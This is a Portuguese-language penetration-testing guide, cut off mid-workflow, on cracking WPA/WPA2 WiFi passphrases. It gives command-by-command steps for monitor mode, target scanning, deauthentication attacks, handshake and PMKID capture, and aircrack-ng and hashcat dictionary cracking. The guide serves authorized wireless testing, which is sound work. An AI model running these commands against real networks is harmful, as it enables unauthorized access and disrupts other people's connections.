Realizando Quebra de Senhas WiFi com Aircrack-ng

Quando Usar

• Avaliando a força de frases secretas WPA/WPA2/WPA3 durante testes de penetração wireless autorizados
• Testando se redes wireless estão usando senhas fracas ou padrão que podem ser quebradas offline
• Capturando e analisando handshakes de 4 vias para avaliar a segurança de autenticação wireless
• Demonstrando os riscos de WEP, frases secretas WPA2 fracas e ataques baseados em PMKID para partes interessadas
• Validando que redes wireless corporativas usam 802.1X/EAP em vez de chaves pré-compartilhadas

Não use contra redes wireless sem autorização escrita explícita, para interromper comunicações wireless ou para capturar handshakes de redes que você não tem permissão para testar.

Pré-requisitos

• Autorização escrita especificando SSIDs e redes wireless no escopo
• Adaptador wireless com modo monitor e suporte a injeção de pacotes (Alfa AWUS036ACH, Alfa AWUS036ACM ou similar)
• Kali Linux com a suíte aircrack-ng, hashcat e hcxtools instalados
• Listas de palavras de senhas (rockyou.txt, SecLists ou listas personalizadas específicas da organização)
• Sistema com capacidade de GPU para aceleração do hashcat (opcional, mas recomendado para listas de palavras grandes)

Fluxo de Trabalho

Passo 1: Preparar a Interface Wireless

# Identify wireless interfaces
iwconfig
# or
iw dev

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0
# Output: monitor mode enabled on wlan0mon

# Verify monitor mode
iwconfig wlan0mon
# Mode should show "Monitor"

# Alternatively, enable monitor mode manually
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Passo 2: Escanear Redes Alvo

# Scan all channels for access points
sudo airodump-ng wlan0mon

# Output columns:
# BSSID          PWR  Beacons  #Data  CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -45    120    35   6  WPA2  CCMP    PSK   TargetNetwork

# Identify the target network parameters:
# - BSSID (MAC address of the access point)
# - Channel number
# - Encryption type (WPA2-PSK is the target)
# - Connected clients (in the lower section)

# Focus scanning on the target channel
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w capture

Passo 3: Capturar o Handshake de 4 Vias WPA2

# Method 1: Wait for a client to connect naturally
# Keep airodump-ng running and wait for "WPA handshake: AA:BB:CC:DD:EE:FF" message
sudo airodump-ng wlan0mon --channel 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture

# Method 2: Deauthenticate a client to force reconnection (active)
# In a separate terminal, send deauth packets to a specific client
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# Or deauth all clients (broadcast)
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Method 3: Capture PMKID from the AP (no client needed)
# Using hcxdumptool
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Wait for "PMKID" message, then convert for hashcat
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_capture.pcapng

# Verify handshake was captured
aircrack-ng handshake_capture-01.cap
# Should show: "1 handshake" next to the target BSSID

# Alternative verification with cowpatty
cowpatty -r handshake_capture-01.cap -c

Passo 4: Quebrar com Aircrack-ng (baseado em CPU)

# Crack using rockyou wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Use multiple wordlists
aircrack-ng -w /usr/share/wordlists/rockyou.txt,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  -b AA:BB:CC:DD:EE:FF handshake_capture-01.cap

# Crack with a specific ESSID
aircrack-ng -w /usr/share/wordlists/rockyou.txt -e "TargetNetwork" handshake_capture-01.cap

# If successful, output shows:
# KEY FOUND! [ password123 ]

Passo 5: Quebrar com Hashcat (acelerado por GPU)

# Converter captura para formato hashcat
# Para capturas de handshake:
hcxpcapngtool -o hashcat_input.hc22000 handshake_capture-01.cap

# Ou usar conversão aircrack-ng
aircrack-ng handshake_capture-01.cap -j hashcat_input

# Ataque de dicionário com hashcat
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt

# Ataque baseado em regras (transforma palavras do dicionário)
hashcat -m 22000 hashcat_input.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule


…